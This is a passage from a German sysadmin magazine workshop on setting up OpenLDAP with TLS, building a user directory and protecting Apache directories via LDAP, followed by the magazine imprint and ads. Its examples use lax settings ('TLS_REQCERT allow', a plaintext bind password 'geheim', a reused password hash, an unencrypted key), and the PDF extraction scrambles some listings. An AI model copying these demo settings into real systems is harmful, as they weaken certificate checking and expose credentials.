03 replace: olcTLSCACertificatePath<br />

04 olcTLSCACertificatePath: /etc/pki/tls/certs<br />

05 ‐<br />

ou=people<br />

n Listing 2: »ssl.ldif«<br />

06 replace: olcTLSCertificateFile<br />

07 olcTLSCertificateFile: /etc/pki/tls/certs/<br />

localhost.crt<br />

08 ‐<br />

09 replace: olcTLSCertificateKeyFile<br />

10 olcTLSCertificateKeyFile: /etc/pki/tls/private/<br />

localhost.key<br />

01 BASE dc=acme‐services,dc=org<br />

02 URI ldaps://ldap.acme‐services.org<br />

03 TLS_CACERTDIR /etc/openldap/certs<br />

04 TLS_REQCERT allow<br />

uid=uhabel<br />

dc=org<br />

dc=acmeservices<br />

ou=groups<br />

n Listing 3: »/etc/openldap/ldap.conf«<br />

cn=vcsldap<br />

Abbildung 1: Der komplette Informationsbaum des LDAP-Verzeichnisses.<br />

ou=systems<br />

er dieses Zertifikat verwendet. Das<br />

Zertifikat wird <strong>mit</strong> dem Namen »Open-<br />

LDAP Server« in der Zertifikatsdatenbank<br />

gespeichert. Bei NSS-basierten<br />

Zertfikaten wird zwischen dem Common<br />

Name, der üblicherweise dem<br />

Hostnamen des Servers entspricht, und<br />

dem lesbaren Namen unterschieden.<br />

Beide Namen können voneinander<br />

abweichen. Daher wird in dem obigen<br />

Kommando der Hostname des Servers<br />

<strong>mit</strong> der Kommandzeilenoption »‐h<br />

ldap.acme‐services.org« angegeben.<br />

Hier tritt eine Besonderheit der LDAP-<br />

Konfiguration zu Tage: Wenn der Open-<br />

LDAP-Server sowohl <strong>mit</strong> der Methode<br />

»StartTLS« als auch <strong>mit</strong> dem traditionellen<br />

SSL angesprochen werden soll,<br />

muss der Common Name (»‐h«) dem<br />

Hostnamen des Servers entsprechen.<br />

Nachdem dieser Teil der Konfiguration<br />

abgeschlossen ist, müssen Sie lediglich<br />

die Datei »/etc/sysconfig/ldap« um die<br />

Option »ldaps« erweitern. Die Zeile<br />

»SLAPD_LDAPS«, die in der Grundkonfiguration<br />

auf »no« steht, ändern Sie auf<br />

»yes«. Nach einem Neustart versteht es<br />

der OpenLDAP-Server, SSL-Verbindungen<br />

(SSL und StartTLS) entgegenzunehmen:<br />

$ sudo service slapd restart<br />

cn=httpd<br />

Nun können Sie <strong>mit</strong> »openssl« die<br />

Verbindung überprüfen. Jetzt vertraut<br />

»openssl« diesem Zertifikat noch nicht<br />

und weist es als self-signed aus. Es ist<br />

daher erforderlich, das Zertifikat aus<br />

der Zertifikatsdatenbank in das systemweite<br />

Zertifikatsverzeichnis zu exportieren<br />

und <strong>mit</strong> dem erforderlichen<br />

Zertifikats-Hash zu verlinken:<br />

$ sudo certutil ‐L U<br />

‐d /etc/openldap/certs U<br />

‐n "OpenLDAP Server" U<br />

‐a > /etc/pki/tls/certs/ldap.U<br />

acme‐services.org.crt<br />

$ sudo ln ‐sf U<br />

/etc/pki/tls/certs/ldap.acme‐U<br />

services.org.crt $(openssl x509 ‐in ldapU<br />

.acme‐services.org.crt ‐noout ‐hash).0<br />

Nach diesen beiden Schritten können<br />

Sie das Zertifikat des Server <strong>mit</strong> dem<br />

»openssl«-Kommando überprüfen.<br />

Es stellt für diesen Zweck den Befehl<br />

»s_client« zur Verfügung:<br />

$ openssl s_client U<br />

‐connect ldap.acme‐services.org:636<br />

Die Ausgabe der Zertifikate erfolgt dabei<br />

auf der Konsole. Entscheidend ist<br />

hierbei die letzte Zeile, die nach korrekter<br />

Konfiguration »0 (ok)« lauten sollte.<br />

Das Kommando wartet nun auf Eingaben.<br />

Da es jedoch nur das Zertifikat testen<br />

sollte, können Sie es <strong>mit</strong> [Strg]+[C]<br />

abbrechen.<br />

Der zweite Weg beschreibt die Verwendung<br />

eigener Zertifikate, die<br />

nicht in der Zertifikatsdatenbank des<br />

OpenLDAP liegen sollen. Oft ist es<br />

sogar durchaus sinnvoll, Zertifikate<br />

nicht dort zu speichern, beispielsweise<br />

wenn weitere Dienste diese Zertifikate<br />

<strong>nutzen</strong> sollen. CentOS speichert Zertifikate<br />

in dem Verzeichnis »/etc/pki/tls/<br />

certs« und die Keys in »/etc/pki/tls/private«.<br />

Es ist darauf zu achten, dass die<br />

Gruppe, die Zugriff auf private Keys hat,<br />

den OpenLDAP-Server einschließt. Der<br />

OpenLDAP-Server läuft als Benutzer<br />

»ldap« <strong>mit</strong> der Gruppe »ldap«. Es bietet<br />

sich daher an, den Besitzer »root« und<br />

die Gruppe »ldap« dem privaten Keyfile<br />

zuzuweisen. Die Rechte sollten auf 640<br />

gesetzt sein.<br />

Leider kennt der OpenLDAP-Server<br />

in der Standardkonfiguration diesen<br />

Key nicht, den man deshalb gesondert<br />

konfigurieren muss. Listing 2 zeigt eine<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


freeX<br />

OpenLDAP<br />

111<br />

Beispielkonfiguration. Mit dem Kommando<br />

»ldapmodify« fügen Sie diese<br />

Datei, ähnlich wie beim Einlesen der initialen<br />

Konfiguration, dem LDAP-Server<br />

hinzu. Anschließend ist wie beim ersten<br />

Weg die Variable »SLAPD_LDAPS« in der<br />

Datei »/etc/sysconfig/ldap« auf »yes«<br />

zu setzen und der Server erneut zu starten.<br />

Achten Sie darauf, dass der private<br />

Schlüssel nicht <strong>mit</strong> einem Passwort<br />

geschützt ist.<br />

Da<strong>mit</strong> der Server jetzt schon die neue<br />

SSL-Verbindungen nutzt, ist es hilfreich,<br />

die Konfigurationsdatei der LDAP-<br />

Clients »/etc/openldap/ldap.conf« anzupassen<br />

(siehe Listing 3). Bei der Anpassung<br />

der Konfigurationsdatei ist der<br />

Weg zur Einrichtung der SSL-Verschlüsselung<br />

zu beachten. Insbesondere den<br />

Parameter »TLS_CACERTDIR« müssen<br />

Sie gegebenenfalls auf die systemweite<br />

Zertifikatsdatenbank anpassen.<br />

Da<strong>mit</strong> ist die Konfiguration des Servers<br />

abgeschlossen und die Einrichtung der<br />

Benutzerdatenbank kann beginnen.<br />

Aufbau des Verzeichnisses<br />

In diesem Abschnitt soll der Informationsbaum<br />

für die Benutzerdaten erstellt<br />

werden. Der Toplevel dieses Baums<br />

wurde bereits festgelegt und besteht<br />

aus den beiden Domain-Components<br />

(DC) »dc=acme‐services« und »dc=org«.<br />

Alle neuen Strukturen werden unter<br />

diesem Punkt aufgehängt. Der Baum<br />

soll wie in Abbildung 1 aussehen.<br />

Jetzt geht es darum, neue LDAP-<br />

Objekte zu generieren und ihnen die<br />

erforderlichen Attribute zuzuweisen.<br />

Objekte sind dabei eindeutig zu identifizierende<br />

Knotenpunkte, die als Attribut<br />

spezielle Objektklassen besitzen.<br />

Die Objektklassen können zum Beispiel<br />

»organizationalUnit«, »domain«, »inetOrgPerson«<br />

oder »posixAccount«<br />

sein.<br />

Welche Objektklassen zur Verfügung<br />

stehen, hängt von den Schemata ab,<br />

die der LDAP-Server konfiguriert hat.<br />

In Abbildung 2 ist der Zusammenhang<br />

grafisch dargestellt.<br />

Eingebaute Schemata<br />

Ein OpenLDAP-Server kann unterschiedlichste<br />

Schemata verwalten und<br />

hat nach einer Standardinstallation<br />

bereits zehn davon installiert. Beispiele<br />

für weitere Datenmodelle sind<br />

etwa Samba, Yubikey, DHCP und so<br />

weiter. Hier soll es im Weiteren aber<br />

ausschließlich um die <strong>mit</strong>gelieferten<br />

Schemata gehen.<br />

Den Benutzerbaum legen Sie wieder<br />

<strong>mit</strong>hilfe einer LDIF-Datei an. Listing 4<br />

Schema<br />

Attribute<br />

ObjectClass<br />

Abbildung 2: Aufbau von LDAP-Schemata und Objektklassen.<br />

zeigt die LDIF-Datei, die die erforderlichen<br />

Daten im Directory-Baum anlegt.<br />

Anders als bisher kommen jetzt erstmalig<br />

das Kommando »ldapadd« und<br />

der neu angelegte Benutzer »manager«<br />

ins Spiel. Das folgende Kommando liest<br />

die LDIF-Datei ein:<br />

$ ldapadd ‐x ‐W ‐D cn=manager,dc=U<br />

acme‐services,dc=org ‐f base.ldif<br />

n Listing 4: »base.ldif«<br />

01 dn: dc=acme‐services,dc=org<br />

02 dc: acme‐services<br />

03 objectClass: top<br />

04 objectClass: domain<br />

05 <br />

06 dn: ou=people,dc=acme‐services,dc=org<br />

07 ou: people<br />

08 objectClass:<br />

09 <br />

10 dn: ou=groups,dc=acme‐services,dc=org<br />

11 ou: groups<br />

12 objectClass: organizationalUnit<br />

13 <br />

14 dn: ou=systems,dc=acme‐services,dc=org<br />

15 ou: systems<br />

16 objectClass: organizationalUnit<br />

17 <br />

18 dn: uid=uhabel,ou=people,dc=acme‐services,dc=org<br />

19 objectClass: person<br />

20 objectClass: organizationalPerson<br />

21 objectClass: inetOrgPerson<br />

22 objectClass: posixAccount<br />

23 cn: Ulrich Habel<br />

24 gidNumber: 100<br />

25 homeDirectory: /home/uhabel<br />

26 sn: Habel<br />

27 uid: uhabel<br />

28 uidNumber: 1000<br />

29 userPassword: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />

30 <br />

31 dn: cn=vcsldap,ou=groups,dc=acme‐services,dc=org<br />

32 objectClass: groupOfUniqueNames<br />

33 objectClass: top<br />

34 cn: vcsldap<br />

35 uniqueMember: uid=uhabel,ou=people,dc=acme‐services,dc=org<br />

36 <br />

37 dn: cn=httpd,ou=systems,dc=acme‐services,dc=org<br />

38 objectClass: inetOrgPerson<br />

39 objectClass: organizationalPerson<br />

40 objectClass: person<br />

41 objectClass: top<br />

42 cn: httpd<br />

43 sn: httpd Webserver<br />

44 userPassword: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


112<br />

freeX<br />

OpenLDAP<br />

Abbildung 3: »ldapvi« – ein elegantes Kommandozeilen-Tool.<br />

Ein paar Dinge fallen bei diesem Kommando<br />

auf. Es muss nicht mehr der Benutzer<br />

»root« des Systems verwendet<br />

werden, sondern jeder beliebige User<br />

kann es ausführen. Für die Anmeldung<br />

ist ein Kennwort erforderlich, im Beispiel<br />

das Kennwort »geheim«. Der Benutzer<br />

wird durch den Kommandozeilenschalter<br />

»‐D« bestimmt, hinter der<br />

ein DN (Distinguished Name) des Users<br />

folgt. Weil jede DN nur ein einziges<br />

Mal im System vorhanden ist, ist der<br />

Benutzer eindeutig. Der Schalter »‐x«<br />

gibt dabei an, dass kein SASL-Verfahren<br />

für die Authentifizierung verwendet<br />

wird, der Schalter »‐W« erfordert die<br />

Passworteingabe. Nach dem Einlesen<br />

der LDIF-Datei ist der in Abbildung 1<br />

gezeigte Informationsbaum komplett<br />

initialisiert.<br />

Testen und ausprobieren<br />

Jetzt bietet es sich an, <strong>mit</strong> den im LDAP<br />

vorhandenen Daten erste Erfahrungen<br />

n Listing 5: »/etc/httpd/conf.d/repositories.conf«<br />

01 <br />

02 AuthType Basic<br />

03 AuthName "Repositories"<br />

04 AuthBasicProvider ldap<br />

05 AuthLDAPBindDN cn=httpd,ou=systems,dc=acme‐services,dc=org<br />

06 AuthLDAPBindPassword geheim<br />

07 AuthzLDAPAuthoritative Off<br />

08 AuthLDAPURL ldap://localhost/dc=acme‐services,dc=org?uid<br />

zu sammeln: In einem ersten Schritt<br />

<strong>mit</strong> den einfachen Kommandozeilenwerkzeugen,<br />

dann <strong>mit</strong> etwas komfortableren<br />

Tools.<br />

Eine LDAP-Suche <strong>mit</strong> den Kommandozeilenwerkzeugen<br />

ist mühsam und gewöhnungsbedürftig.<br />

Das nachstehende<br />

Beispiel meldet sich als der Benutzer<br />

»uhabel« an und sucht nach Objekten,<br />

die eine beliebige Objektklasse besitzen.<br />

Das Resultat werden alle Objekte<br />

des LDAP-Servers sein, da jedes Objekt<br />

mindestens über eine Objektklasse verfügen<br />

muss:<br />

$ ldapsearch ‐D uid=uhabel,ou=people,U<br />

dc=acme‐services,dc=org ‐W ‐x U<br />

'(objectClass=*)'<br />

Nach der Eingabe des Passworts werden<br />

alle Einträge gelistet. Das Attribut<br />

des User-Passworts wird nur bei dem<br />

User »uhabel« angezeigt, bei den anderen<br />

Usern bleibt es ausgeblendet.<br />

Prinzipiell ist es möglich, jeden Knoten<br />

in dem Verzeichnisbaum <strong>mit</strong> einer Suche<br />

ausgeben zu lassen und anschließend<br />

<strong>mit</strong> einer passenden LDIF-Datei<br />

zu modifizieren. Dieses Vorgehen ist<br />

jedoch sehr zeitintensiv und so haben<br />

sich verschiedene Benutzer-Tools etablieren<br />

können.<br />

09 Require ldap‐group cn=vcsldap,ou=groups,dc=acme‐services,dc=org<br />

10 <br />

Elegante Kommandozeile<br />

Das Kommandozeilenwerkzeug<br />

»ldapvi« [1] verbindet die LDAP-Suche<br />

<strong>mit</strong> dem Editor Vi und erlaubt auf diese<br />

Art und Weise einfache Änderungen.<br />

Mit dem Speichern und Verlassen des<br />

Editors wird eine LDIF-Datei erstellt<br />

und anschließend angewandt. Die<br />

Kommandozeilenoptionen des Tools<br />

sind dabei ähnlich dem der »openldap‐clients«,<br />

die bereits vorgestellt<br />

wurden:<br />

$ ldapvi ‐D cn=Manager,dc=acme‐U<br />

services,dc=org ‐b dc=acme‐servicesU<br />

,dc=org ‐h ldapi://<br />

Der Befehl führt eine Abfrage auf dem<br />

Verzeichnisbaum durch und stellt das<br />

Ergebnis im Editor dar (Abbildung 3). So<br />

lassen sich auch remote auf einer SSH-<br />

Console Einträge elegant und schnell<br />

bearbeiten.<br />

Apache Directory Studio<br />

Das Apache Directory Studio [2] ist ein<br />

grafischer Client, der auf dem Eclipse-<br />

Framework aufbaut (Abbildung 4).<br />

Alleine der Eclipse-Plattform ist es<br />

geschuldet, dass der Client-Rechner<br />

durchaus ein paar Megabyte Speicher<br />

mehr vertragen kann. Die Stabilität ist<br />

durchaus als wechselhaft zu bezeichnen,<br />

dennoch hat sich das Directory<br />

Studio einen festen Platz erobert. Für<br />

Administratoren, die eigene Schemata<br />

entwickeln wollen, führt kein Weg<br />

an diesem Werkzeug vorbei. Der wesentliche<br />

Vorteil neben der grafischen<br />

Darstellung ist die Unterstützung aller<br />

erdenklichen Lebenssituationen im Leben<br />

eines LDAP-Administrators.<br />

Kochrezept<br />

Verzeichnisschutz<br />

Das folgende Kochrezept demonstriert,<br />

wie man einzelne Verzeichnisse<br />

auf dem Webserver <strong>mit</strong> Usernamen<br />

und Passwörtern schützt, die im LDAP<br />

gespeichert sind. Statt die Benutzer<br />

umständlich in einzelnen Htpasswd-<br />

Dateien zu pflegen, lassen sich die<br />

Accounts zentral im LDAP-Server verwalten.<br />

Alle Zutaten für dieses Rezept<br />

liegen schon auf dem Tisch und sind<br />

reif für den Einsatz. Benötigt werden<br />

für das Rezept: ein Benutzer-Account<br />

für den Httpd-Server, eine Gruppe <strong>mit</strong><br />

einem Gruppen<strong>mit</strong>glied und ein Benutzer,<br />

der Mitglied der Gruppe ist.<br />

Geschützt werden soll in diesem Beispiel<br />

das Verzeichnis »/repositories«<br />

un<strong>mit</strong>telbar im Wurzelverzeichnis des<br />

Webservers. Der Ort ist da<strong>mit</strong> – ohne<br />

weitere Veränderungen am SELinux-<br />

Kontext vornehmen zu müssen – »/var/<br />

www/html/repositories«.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


freeX<br />

OpenLDAP<br />

113<br />

Mit der Apache-Version 2.2 wurde die<br />

Art und Weise, wie LDAP verwendet<br />

wird, grundlegend geändert. Die Installation<br />

von zusätzlichen Modulen ist<br />

nicht mehr erforderlich, der Webserver<br />

bringt in der Grundinstallation bereits<br />

alles <strong>mit</strong>, was für den Einsatz von LDAP<br />

nötig ist. Grundlage des Kochrezeptes<br />

ist der »httpd«-Benutzer im LDAP-Server,<br />

der schon oben angelegt wurde.<br />

LDAP-Module inbegriffen<br />

Die Authentifizierung und Autorisierung<br />

am Webserver wird von zwei Modulen<br />

übernommen: Das Modul »ldap_module«<br />

stellt die LDAP-Datenstrukturen<br />

im Webserver zur Verfügung, das Modul<br />

»authnz_ldap_module« übernimmt die<br />

Authentifizierung. In der Standardkonfiguration<br />

des Webservers sind beide<br />

Module bereits installiert und aktiviert.<br />

Nach dem Anlegen des Verzeichnisses<br />

müssen Sie die Location »/repositories«<br />

auf dem Server konfigurieren und den<br />

Verzeichnisschutz aktivieren. Eine Beispieldatei<br />

in diesem Verzeichnis dient<br />

dem Test:<br />

$ sudo mkdir /var/www/html/repositories<br />

$ echo "Hello world" > index.html<br />

$ sudo cp index.html /var/www/html/U<br />

repositories/<br />

$ sudo chown ‐R apache /var/www/html/U<br />

repositories<br />

Die vollständige Konfiguration ist in<br />

Listing 5 zu sehen. Diese Datei legen<br />

Sie im Verzeichnis »/etc/httpd/conf.d/<br />

repositories.conf« ab und starten den<br />

Webserver neu. Den Test übernimmt<br />

das Curl-Kommando:<br />

$ curl ‐sL ‐w "%{http_code} %{url_U<br />

effective}\n" http://localhost/U<br />

repositories/index.html ‐o /dev/null<br />

401 http://localhost/repositories/U<br />

index.html<br />

Die Ausgabe zeigt korrekterweise einen<br />

401-Fehler an: Das Verzeichnis ist<br />

jetzt geschützt. Klappt jedoch auch die<br />

Anmeldung <strong>mit</strong> einem Benutzer und<br />

dem zugehörigen Passwort? Durch eine<br />

kleine Modifikation des Curl-Kommandos<br />

lässt sich dies leicht überprüfen:<br />

Abbildung 4: Grafische Oberfläche für LDAP: das Apache Directory Studio.<br />

$ curl ‐sL ‐w "%{http_code} %{url_U<br />

effective}\n" ‐u uhabel:geheim http:U<br />

//localhost/repositories/index.html U<br />

‐o /dev/null<br />

200 http://localhost/repositories/indexU<br />

.html<br />

Voila, das Verzeichnis ist geschützt und<br />

alles funktioniert wie erwartet.<br />

Es gibt ein paar kleine Besonderheiten<br />

bei der Webserver-Konfigurationsdatei,<br />

auf die es sich lohnt näher einzugehen.<br />

Der Einfachheit halber wurde in diesem<br />

Beispiel »ldap« verwendet, da der Zugriff<br />

ausschließlich auf den Localhost<br />

und da<strong>mit</strong> über das Loopback-Interface<br />

stattfand. Für einen produktiven Einsatz<br />

von Webservern, die über das Netz<br />

auf den OpenLDAP-Server zugreifen,<br />

sollte hier SSL (»ldaps«) eingesetzt<br />

werden. Der Verzeichnisschutz wird<br />

in diesem Beispiel über die Gruppe<br />

»vcsldap« und die Gruppen<strong>mit</strong>glieder<br />

realisiert. So lassen sich leicht verschiedene<br />

Gruppen etablieren, um unterschiedliche<br />

Bereiche des Webservers zu<br />

schützen.<br />

Ausblick<br />

In dem Workshop wurde ein kleiner<br />

Einblick in die Welt des OpenLDAP-<br />

Servers <strong>mit</strong> aktuellem Konfigurationsmodell<br />

»cn=config« gegeben und ein<br />

funktionstauglicher OpenLDAP-Server<br />

installiert. Was jetzt noch fehlt, sind<br />

weitere Benutzer und weitere Anwendungsfälle,<br />

die aber künftigen Artikeln<br />

vorbehalten sind.<br />

Die Dokumentation des OpenLDAP-Servers<br />

[3] verbessert sich kontinuierlich,<br />

dennoch ist auch in der offziellen Dokumentation<br />

noch oft die Beschreibung<br />

des alten Konfigurationsmodells <strong>mit</strong><br />

der Konfigurationsdatei »/etc/slapd.<br />

conf« zu finden. Hier helfen dann nur<br />

Blicke in die Mailinglisten weiter, die<br />

einem hoffentlich die eine oder andere<br />

Erleuchtung bringen. (ofr) n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/30058<br />

[1] ldapvi: [http:// www. lichteblau. com/ ldapvi/]<br />

[2] Apache Directory Studio:<br />

[http:// directory. apache. org/ studio/]<br />

[3] OpenLDAP-Projekt:<br />

[http:// www. openldap. org]<br />

n Autor<br />

Ulrich Habel ist Perl-Evangelist und Anhänger der<br />

Test-Driven-Development-Methodik. Er engagiert<br />

sich für den Einsatz von Open-Source-Technologien<br />

in Firmen und ist Mitglied im NetBSD-Projekt.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


114<br />

Service<br />

Impressum und <strong>Vorschau</strong><br />

n Impressum ISSN 2190-1066<br />

<strong>ADMIN</strong>-<strong>Magazin</strong> eine Publikation der Medialinx AG<br />

Redaktionsanschrift Putzbrunner Straße 71<br />

81739 München<br />

Tel.: 0 89 / 99 34 11-0<br />

Fax: 0 89 / 99 34 11-99 oder -96<br />

Internet<br />

www.admin-magazin.de<br />

E-Mail<br />

redaktion@admin-magazin.de<br />

Geschäftsleitung Brian Osborn (Vorstand), bosborn@medialinx-gruppe.de<br />

Hermann Plank (Vorstand), hplank@medialinx-gruppe.de<br />

Chefredakteure<br />

Oliver Frommel (V. i. S. d. P.),<br />

ofrommel@admin-magazin.de (ofr)<br />

Jens-Christoph Brendel<br />

jbrendel@admin-magazin.de (jcb)<br />

Redaktion<br />

News/Report<br />

Ulrich Bantle (Ltg.), ubantle@medialinx-gruppe.de (uba)<br />

Mathias Huber, mhuber@medialinx-gruppe.de (mhu)<br />

Software/Programmieren Carsten Schnober, cschnober@medialinx-gruppe.de (csc)<br />

Kristian Kißling, kkissling@medialinx-gruppe.de (kki)<br />

Security/Networking Markus Feilner, mfeilner@medialinx-gruppe.de (mfe)<br />

Thomas Leichtenstern, tleichtenstern@medialinx-gruppe.de (tle)<br />

Ständige Mitarbeiter David Göhler (Schlussredaktion), Tim Schürmann, Claudia Thalgott<br />

Produktionsleitung<br />

Grafik<br />

Abo-Infoseite<br />

Abonnenten-Service<br />

Christian Ullrich, cullrich@medialinx-gruppe.de<br />

Judith Erb (Design und Layout)<br />

Titel: Judith Erb, Ausgangsgrafik: Andrei Tarchyshnik, 123RF<br />

www.admin-magazin.de/abo<br />

Gudrun Blanz (Teamleitung)<br />

abo@admin-magazin.de<br />

Tel.: 07131/27 07 274, Fax: 07131/27 07 78 601<br />

Preise Print Deutschland Österreich Schweiz Ausland EU<br />

Einzelheft € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />

Mini-Abo (3 Ausgaben) € 9,80 € 10,80 Sfr 19,60 (siehe Titel)<br />

Jahres-DVD (Einzelpreis) € 14,95 € 14,95 Sfr 18,90 € 14,95<br />

Jahres-DVD (zum Abo 1 ) € 6,70 € 6,70 Sfr 8,50 € 6,70<br />

Jahresabo € 99,90 € 109,90 Sfr 159,90 € 129,90<br />

Preise Digital Deutschland Österreich Schweiz Ausland EU<br />

Heft-PDF Einzelausgabe € 9,80 € 9,80 Sfr 10,71 € 9,80<br />

DigiSub (12 Ausgaben) € 89,90 € 89,90 Sfr 129,50 € 89,90<br />

DigiSub (zum Printabo) € 12,— € 12,— Sfr 12,— € 12,—<br />

HTML-Archiv (zum Abo 1 ) € 48,— € 48,— Sfr 48,— € 48,—<br />

Preise Kombiabos<br />

Profi-Abo 2 € 181,90 € 198,90 Sfr 235,90 € 219,90<br />

1<br />

nur erhältlich in Verbindung <strong>mit</strong> einem Jahresabo Print oder Digital<br />

2<br />

<strong>mit</strong> Linux-<strong>Magazin</strong>-Abo und beiden Jahres-DVDs<br />

Schüler- und Studenten-Ermäßigung: 20 Prozent gegen Vorlage eines Schülerausweises oder einer<br />

aktuellen Immatrikulationsbescheinigung. Der aktuelle Nachweis ist bei Verlängerung neu zu erbringen.<br />

Andere Abo-Formen, Ermäßigungen im Ausland etc. auf Anfrage.<br />

Adressänderungen bitte umgehend <strong>mit</strong>teilen, da Nachsendeaufträge bei der Post nicht für<br />

Zeitschriften gelten.<br />

Presse<strong>mit</strong>teilungen info@admin-magazin.de<br />

Anzeigen/Repräsentanz Es gilt die Anzeigenpreisliste vom 01.01.2013<br />

National<br />

Pressevertrieb<br />

Druck<br />

Petra Jaser<br />

Tel.: 089 / 99 34 11 24, Fax: 089 / 99 34 11 99<br />

E-Mail: pjaser@medialinx-gruppe.de<br />

Michael Seiter<br />

Tel.: 089 / 99 34 11 23, Fax: 089 / 99 34 11 99<br />

E-Mail: mseiter@medialinx-gruppe.de<br />

MZV, Moderner Zeitschriften Vertrieb GmbH<br />

Breslauer Straße 5, 85386 Eching<br />

Tel.: 089 / 31906-0, Fax: 089 / 31906-113<br />

Vogel Druck und Medienservice GmbH<br />

97204 Höchberg<br />

Der Begriff Unix wird in dieser Schreibweise als generelle Bezeichnung für die Unix-ähnlichen Betriebssysteme<br />

verschiedener Hersteller, zum Beispiel Eurix (Comfood), Ultrix (Digital Equipment), HP/UX (Hewlett-<br />

Packard) oder Sinix (Siemens) benutzt, nicht als die Bezeichnung für das Trademark von X/Open. Linux ist ein<br />

eingetragenes Marken zeichen von Linus Torvalds und wird in unserem Markennamen <strong>mit</strong> seiner Erlaubnis<br />

verwendet. Alle anderen Marken sind Eigentum der jeweiligen Inhaber. Eine Haftung für die Richtigkeit von<br />

Veröffentlichungen kann trotz sorgfältiger Prüfung durch die Redaktion vom Verlag nicht übernommen<br />

werden. Mit der Einsendung von Manu s kripten gibt der Verfasser seine Zustimmung zum Abdruck im <strong>ADMIN</strong>-<br />

<strong>Magazin</strong>. Für unverlangt ein gesandte Manuskripte kann keine Haftung übernommen werden. Die Redaktion<br />

behält sich vor, Artikel zu kürzen. Das Exklusiv- und Verfügungsrecht für angenommene Manuskripte liegt beim<br />

Verlag. Es darf kein Teil des Inhalts ohne ausdrückliche schriftliche Genehmigung des Verlags in irgendeiner<br />

Form vervielfältigt oder verbreitet werden. Copyright © 1994–2013 Medialinx AG<br />

Stefan Habersack, Fotolia<br />

n Autoren dieser Ausgabe<br />

Bastian Ballmann Lauschangriff 46<br />

Christian Funk Sicherheitsvorkehrungen 24<br />

Ulrich Habel Zentralregister 106<br />

Jacob Holcomb Schwachstellen 40<br />

Thomas Joos Remote-Office 74<br />

Thomas Joos Zusammen stark 52<br />

Martin Loschwitz Ablagesystem 58<br />

Martin Loschwitz Containerterminal 90<br />

Filipe Pereira Martins Rechenkünstler 64<br />

Jan Rähm <strong>Drahtlos</strong> in Grenzen 32<br />

Thorsten Scherf Ticket-Dienst 16<br />

n Inserentenverzeichnis<br />

n <strong>Vorschau</strong>: <strong>ADMIN</strong> 02/2014 erscheint am 9. Januar 2014<br />

Disaster Recovery<br />

Früher oder später passiert es:<br />

Entscheidende Hardware fällt<br />

aus. Der kluge Admin hat natürlich<br />

vorgesorgt. Wir zeigen wie<br />

er seine Linux- und Windows-<br />

Systeme sowie Datenbanken<br />

rechtzeitig in Sicherheit bringt<br />

und im Ernstfall schnell wieder<br />

zum laufenden System kommt.<br />

<strong>ADMIN</strong> http://​www.admin-magazin.de 67, 107, 115<br />

ConSol Software GmbH http://​www.consol.de 15<br />

Dell GmbH http://dell.de/VRTX 27<br />

Deutsche Messe AG http://​www.cebit.de 17, 95<br />

DFN-Cert Services GmbH http://​www.dfn-cert.de 63<br />

Fernschule Weber GmbH http://​www.fernschule-weber.de 43<br />

Galileo Press http://​www.galileo-press.de 25<br />

GIMP-<strong>Magazin</strong> http://​www.gimp-magazin.de 21<br />

Kettner Mathias - Linux Experte http://​www.mathias-kettner.de 41<br />

Linux-Hotel http://​www.linuxhotel.de 33<br />

Linux-<strong>Magazin</strong> http://​www.linux-magazin.de 61, 104<br />

Medialinx AG http://​www.medialinx-gruppe.de 9, 11<br />

Medialinx IT-Academy http://​www.medialinx-academy.de 55<br />

Microsoft GmbH http://​www.microsoft.com/​germany 2, 31<br />

pascom - Netzwerktechnik GmbH & Co.KG http://​www.pascom.net 13<br />

PlusServer AG http://​www.plusserver.de 7, 19, 45, 51, 73, 81<br />

ppedv http://​www.visualstudio1.de 69<br />

Raspberry Pi Geek http://​www.raspberry-pi-geek.de 79<br />

Thomas Krenn AG http://​www.thomas-krenn.com 116<br />

Windows Phone User http://​www.windows-phone-user.de 89<br />

Einem Teil dieser Ausgabe liegt eine Beilage der Firma HACKATTACK IT SECURITY GmbH (http://​www.hackattack.com)<br />

bei. Wir bitten unsere Leser um freundliche Beachtung.<br />

Last verteilen <strong>mit</strong> HA-<br />

Proxy<br />

HA-Proxy kommt bei den ganz<br />

Großen zum Einsatz: Unter<br />

anderem Twitter, Tumblr und<br />

Reddit <strong>nutzen</strong> das Programm,<br />

um die Benutzermassen auf<br />

ihre Server zu verteilen. Der<br />

Veteran entwickelt sich stetig<br />

weiter; wir zeigen wohin.<br />

Alexander Bedrin, 123RF<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Admin-mAGAZin<br />

im JAhres-Abo<br />

Praktisch anwendbares Wissen und ausführliche<br />

Hintergrundberichte für alle IT-Administratoren<br />

von Linux, Unix und Windows.<br />

NEU!<br />

Ab sofort<br />

monatlich<br />

ihre vorteile<br />

• 12 Ausgaben im Jahr Frei Haus<br />

• Erhalten Sie ihre Ausgabe<br />

schon vor dem offiziellen<br />

Verkaufstermin<br />

• Hintergrund-Wissen für alle<br />

Admins und IT-Entscheider<br />

• inklusive <strong>ADMIN</strong>-Specials<br />

(unter anderem zu IPv6 und SSD)<br />

JETZT ZUgrEifEN<br />

UNd übEr 15% SpArEN!<br />

Jetzt abonnieren:<br />

www.admin-magazin.de/abo<br />

(Printabo 99,90 Euro, digitales Abo nur 89,90 Euro)<br />

• Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@admin-magazin.de •

Hurra! Ihre Datei wurde hochgeladen und ist bereit für die Veröffentlichung.

Erfolgreich gespeichert!

Leider ist etwas schief gelaufen!